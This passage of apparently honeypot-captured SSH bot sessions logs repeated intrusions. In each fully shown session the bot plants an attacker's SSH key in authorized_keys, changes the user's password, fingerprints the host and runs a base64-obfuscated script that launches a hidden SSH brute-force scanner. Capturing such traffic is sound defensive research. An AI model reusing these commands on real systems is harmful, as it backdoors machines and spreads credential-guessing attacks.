bash"},{"seq":47,"at":"2026-08-24T16:31:31.016773+00:00","kind":"output","latency_ms":406,"data":""},{"seq":48,"at":"2026-08-24T16:31:38.863247+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-24T16:31:38.864190+00:00","kind":"output","latency_ms":null,"data":"user14"}],"credentials":[{"username":"user14","password":"123","method":"password","accepted":true,"tier":"other"}]} {"id":"1eb2e852-b7ac-4cfc-825c-6620400edb12","name":"dewy-nautical-civet","protocol":"ssh","channel_kind":"exec","src_ip":"168.119.48.179","src_port":55760,"username":"jarservice","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":316,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-24T16:28:31.114422+00:00","ended_at":"2026-08-24T16:28:31.203018+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3462,"events":[{"seq":1,"at":"2026-08-24T16:28:03.823701+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-24T16:28:04.139685+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-24T16:28:08.480641+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-24T16:28:08.481110+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-24T16:28:08.798380+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\njsgoPEskJcNH\\njsgoPEskJcNH\"|passwd|bash"},{"seq":6,"at":"2026-08-24T16:28:09.112521+00:00","kind":"input","latency_ms":null,"data":"echo \"123456\\njsgoPEskJcNH\\njsgoPEskJcNH\\n\"|passwd"},{"seq":7,"at":"2026-08-24T16:28:09.429016+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-24T16:28:09.429533+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-24T16:28:09.744233+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-24T16:28:10.427909+00:00","kind":"output","latency_ms":684,"data":"15888 1244 13411 1183 0 0"},{"seq":11,"at":"2026-08-24T16:28:10.744311+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-24T16:28:11.475363+00:00","kind":"output","latency_ms":730,"data":"-rwxr-xr-x 1 root root 148K Jan 24 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-24T16:28:11.791658+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-24T16:28:11.792202+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-24T16:28:12.108250+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-24T16:28:12.108717+00:00","kind":"output","latency_ms":null,"data":" 16:28:12 up 4 days, 13:18, 0 user, load average: 0.28, 0.37, 0.18\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-24T16:28:12.424388+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-24T16:28:12.425115+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-24T16:28:12.741678+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-24T16:28:12.742151+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-24T16:28:13.057370+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-24T16:28:13.057926+00:00","kind":"output","latency_ms":null,"data":"top - 16:28:13 up 4 days, 13:18, 0 user, load average: 0.28, 0.37, 0.18\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7785 free, 8102 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-24T16:28:13.373648+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-24T16:28:13.374150+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-24T16:28:13.691015+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-24T16:28:13.691770+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-24T16:28:14.008163+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-24T16:28:14.008578+00:00","kind":"output","latency_ms":null,"data":"jarservice"},{"seq":29,"at":"2026-08-24T16:28:14.325264+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-24T16:28:15.248769+00:00","kind":"output","latency_ms":923,"data":"Model name: AMD EPYC 7713 64-Core Processor\n\u0d28"},{"seq":31,"at":"2026-08-24T16:28:15.564791+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-24T16:28:16.319522+00:00","kind":"output","latency_ms":752,"data":"24G"},{"seq":33,"at":"2026-08-24T16:28:17.322639+00:00","kind":"input","latency_ms":null,"data":"echo \"jarservice 123456\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-24T16:28:17.637857+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-24T16:28:18.628019+00:00","kind":"output","latency_ms":990,"data":""},{"seq":36,"at":"2026-08-24T16:28:18.726368+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-24T16:28:19.599928+00:00","kind":"output","latency_ms":872,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-24T16:28:19.917579+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-24T16:28:20.549930+00:00","kind":"output","latency_ms":632,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-24T16:28:20.865549+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-24T16:28:21.180632+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-24T16:28:21.729738+00:00","kind":"output","latency_ms":548,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-24T16:28:22.047576+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-24T16:28:22.567047+00:00","kind":"output","latency_ms":518,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-24T16:28:22.881455+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-24T16:28:23.487519+00:00","kind":"output","latency_ms":604,"data":""},{"seq":47,"at":"2026-08-24T16:28:31.117197+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-24T16:28:31.117910+00:00","kind":"output","latency_ms":null,"data":"jarservice"}],"credentials":[{"username":"jarservice","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"3c7678b6-8be4-4003-89a0-62a96e45e99f","name":"pewter-lucid-snipe","protocol":"ssh","channel_kind":"exec","src_ip":"103.164.57.37","src_port":55784,"username":"crafty","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":713,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-24T16:21:45.170200+00:00","ended_at":"2026-08-24T16:21:45.395008+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3248,"events":[{"seq":1,"at":"2026-08-24T16:21:03.896206+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-24T16:21:04.608538+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-24T16:21:11.067751+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-24T16:21:11.068278+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-24T16:21:11.781408+00:00","kind":"input","latency_ms":null,"data":"echo -e \"crafty123\\nHX0pAKy93Kw7\\nHX0pAKy93Kw7\"|passwd|bash"},{"seq":6,"at":"2026-08-24T16:21:12.493719+00:00","kind":"input","latency_ms":null,"data":"echo \"crafty123\\nHX0pAKy93Kw7\\nHX0pAKy93Kw7\\n\"|passwd"},{"seq":7,"at":"2026-08-24T16:21:13.206542+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-24T16:21:13.207415+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-24T16:21:13.921252+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-24T16:21:14.760370+00:00","kind":"output","latency_ms":836,"data":"15888 1423 11031 93 402 2938"},{"seq":11,"at":"2026-08-24T16:21:15.473056+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-24T16:21:16.093596+00:00","kind":"output","latency_ms":619,"data":"-rwxr-xr-x 1 root root 138K Aug 20 03:09 /usr/bin/ls"},{"seq":13,"at":"2026-08-24T16:21:16.807360+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-24T16:21:16.808193+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-24T16:21:17.521734+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-24T16:21:17.522651+00:00","kind":"output","latency_ms":null,"data":" 16:21:17 up 4 days, 13:11, 0 user, load average: 0.34, 0.31, 0.3\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-24T16:21:18.234687+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-24T16:21:18.235211+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-24T16:21:18.950402+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-24T16:21:18.951149+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-24T16:21:19.665147+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-24T16:21:19.665747+00:00","kind":"output","latency_ms":null,"data":"top - 16:21:19 up 4 days, 13:11, 0 user, load average: 0.34, 0.31, 0.3\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9373 free, 6514 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-24T16:21:20.379422+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-24T16:21:20.380487+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-24T16:21:21.092502+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-24T16:21:21.093321+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-24T16:21:21.805415+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-24T16:21:21.806004+00:00","kind":"output","latency_ms":null,"data":"crafty"},{"seq":29,"at":"2026-08-24T16:21:22.522067+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-24T16:21:23.238462+00:00","kind":"output","latency_ms":718,"data":"Model name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-24T16:21:23.955113+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-24T16:21:24.433853+00:00","kind":"output","latency_ms":481,"data":"24G"},{"seq":33,"at":"2026-08-24T16:21:26.671717+00:00","kind":"input","latency_ms":null,"data":"echo \"crafty crafty123\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-24T16:21:27.385508+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-24T16:21:27.875549+00:00","kind":"output","latency_ms":489,"data":""},{"seq":36,"at":"2026-08-24T16:21:29.929497+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-24T16:21:30.890750+00:00","kind":"output","latency_ms":960,"data":"crafty123"},{"seq":38,"at":"2026-08-24T16:21:31.604459+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-24T16:21:32.177363+00:00","kind":"output","latency_ms":572,"data":"crafty123"},{"seq":40,"at":"2026-08-24T16:21:32.893472+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-24T16:21:33.603597+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-24T16:21:34.538837+00:00","kind":"output","latency_ms":934,"data":"1"},{"seq":43,"at":"2026-08-24T16:21:35.252669+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-24T16:21:35.669425+00:00","kind":"output","latency_ms":416,"data":"1"},{"seq":45,"at":"2026-08-24T16:21:36.382740+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-24T16:21:45.171594+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":47,"at":"2026-08-24T16:21:45.172093+00:00","kind":"output","latency_ms":null,"data":"crafty"}],"credentials":[{"username":"crafty","password":"crafty123","method":"password","accepted":true,"tier":"other"}]} {"id":"aa74805b-6b62-42e2-a195-3c816bfca5c4","name":"brisk-vivid-merlin","protocol":"ssh","channel_kind":"exec","src_ip":"60.199.224.2","src_port":51136,"username":"senthil","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":643,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-24T05:18:05.457080+00:00","ended_at":"2026-08-24T05:18:05.656938+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3458,"events":[{"seq":1,"at":"2026-08-24T05:17:26.541729+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-24T05:17:27.181003+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-24T05:17:33.458130+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-24T05:17:33.461142+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-24T05:17:34.110487+00:00","kind":"input","latency_ms":null,"data":"echo -e \"senthil\\njlOru5NXNNj2\\njlOru5NXNNj2\"|passwd|bash"},{"seq":6,"at":"2026-08-24T05:17:34.753248+00:00","kind":"input","latency_ms":null,"data":"echo \"senthil\\njlOru5NXNNj2\\njlOru5NXNNj2\\n\"|passwd"},{"seq":7,"at":"2026-08-24T05:17:35.394133+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-24T05:17:35.395050+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-24T05:17:36.037246+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-24T05:17:36.793445+00:00","kind":"output","latency_ms":754,"data":"15888 2143 12451 218 1074 10117"},{"seq":11,"at":"2026-08-24T05:17:37.436215+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-24T05:17:38.277167+00:00","kind":"output","latency_ms":838,"data":"-rwxr-xr-x 1 root root 142K Aug 20 03:09 /usr/bin/ls"},{"seq":13,"at":"2026-08-24T05:17:38.917394+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-24T05:17:38.917852+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-24T05:17:39.560913+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-24T05:17:39.561580+00:00","kind":"output","latency_ms":null,"data":" 05:17:39 up 4 days, 2:07, 0 user, load average: 0.13, 0.14, 0.14\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-24T05:17:40.203246+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-24T05:17:40.203754+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-24T05:17:40.844284+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-24T05:17:40.845340+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-24T05:17:41.488157+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-24T05:17:41.488637+00:00","kind":"output","latency_ms":null,"data":"top - 05:17:41 up 4 days, 2:07, 0 user, load average: 0.13, 0.14, 0.14\nTasks: 119 total, 1 running, 118 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-24T05:17:42.131488+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-24T05:17:42.131962+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-24T05:17:42.775009+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-24T05:17:42.775529+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-24T05:17:43.417134+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-24T05:17:43.417447+00:00","kind":"output","latency_ms":null,"data":"senthil"},{"seq":29,"at":"2026-08-24T05:17:44.058849+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-24T05:17:45.019664+00:00","kind":"output","latency_ms":960,"data":"Model name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-24T05:17:45.662731+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-24T05:17:46.049194+00:00","kind":"output","latency_ms":385,"data":"24G"},{"seq":33,"at":"2026-08-24T05:17:48.052519+00:00","kind":"input","latency_ms":null,"data":"echo \"senthil senthil\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-24T05:17:48.694061+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-24T05:17:49.073781+00:00","kind":"output","latency_ms":378,"data":""},{"seq":36,"at":"2026-08-24T05:17:50.978731+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-24T05:17:51.483456+00:00","kind":"output","latency_ms":503,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-24T05:17:52.124816+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-24T05:17:52.802048+00:00","kind":"output","latency_ms":675,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-24T05:17:53.443578+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-24T05:17:54.091966+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-24T05:17:54.782113+00:00","kind":"output","latency_ms":693,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-24T05:17:55.423577+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-24T05:17:55.995550+00:00","kind":"output","latency_ms":570,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-24T05:17:56.640683+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo 